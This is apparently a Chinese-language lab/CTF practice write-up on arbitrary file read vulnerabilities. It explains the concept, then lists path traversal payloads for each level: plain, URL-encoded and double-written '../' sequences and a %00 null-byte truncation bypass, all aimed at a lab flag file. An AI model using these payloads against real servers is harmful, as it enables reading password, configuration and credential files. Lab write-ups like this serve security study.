靶场练习day14--任意文件读取

一.文件读取

1.概念

任意文件读取漏洞(Arbitrary File Read Vulnerability)是指攻击者可以通过web应用程序读取任意文件而不受访问控制限制的漏洞。这种漏洞可能导致敏感信息泄露、系统崩溃等问题。

攻击者可以利用任意文件读取漏洞访问服务器上的任意文件,包括密码文件、配置文件等,从而获取系统权限和敏感信息。此外,攻击者还可以利用该漏洞读取应用程序中的敏感数据,如数据库凭据、API密钥 等。

任意文件读取漏洞通常是由于未正确验证用户输入所导致的。攻击者可以通过构造特殊的请求参数来绕过应用程序的访问控制,从而访问任意文件。例如,攻击者可以通过修改URL路径或添加特殊字符来访问非预期的文件。

二.靶场实战

1.初级-任意文件读取

直接目录遍历即可 ../../../../tmp/flag.txt,或者直接用绝对路径/tmp/flag.txt

2.你需要了解什么是路径穿越

根据题目,还是考察的目录遍历

3.任意文件读取的简单绕过1

URL编码绕过

%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2Ftmp%2Fflag.txt

../../../../../tmp/flag.txt

4.任意文件读取的简单绕过2

双写绕过

....//....//....//....//tmp/flag.txt

5.任意文件读取的简单绕过3

00%截断 + 文件扩展名绕过

../../../../tmp/flag.txt%00.png

在PHP 5.3.4之前的版本中,%00(空字节)在C语言层面有特殊作用:

PHP底层用C语言处理文件操作

C语言中字符串以\0(空字节)作为结束符

当拼接文件名时,遇到%00就认为字符串结束了

相关推荐
pingao1413781 天前
智联未来:4G温湿度传感器如何重塑数据监测新生.态
大数据·网络·人工智能
@insist1231 天前
信息安全工程师-核心考点梳理:第 1 章 网络信息安全概述
网络·软考·信息安全工程师·软件水平考试
zmj3203241 天前
UDS 0x27 安全访问(种子 / 密钥 Seed-Key) 的用法、流程、算法、存储位置、安全机制
安全·can·诊断·uds·27服务
无巧不成书02181 天前
零基础Java网络编程全解:从核心概念到Socket实战,一文打通Java网络通信
java·开发语言·网络
isyangli_blog1 天前
6. 使用Mininet创建星型网络拓扑,手动设置流表项
网络
skywalk81631 天前
发现Kotti项目的python包Beaker 存在安全漏洞
开发语言·网络·python·安全
干洋芋果果1 天前
python-can 虚拟车速通信
网络
学习3人组1 天前
成品批次信息及全链路溯源汇报材料(大客户专用)
网络·erp·mes
想唱rap1 天前
UDP套接字编程
服务器·网络·c++·网络协议·ubuntu·udp
AC赳赳老秦1 天前
OpenClaw多平台部署:Windows+Linux跨系统协同,实现全场景覆盖
linux·服务器·前端·网络·windows·deepseek·openclaw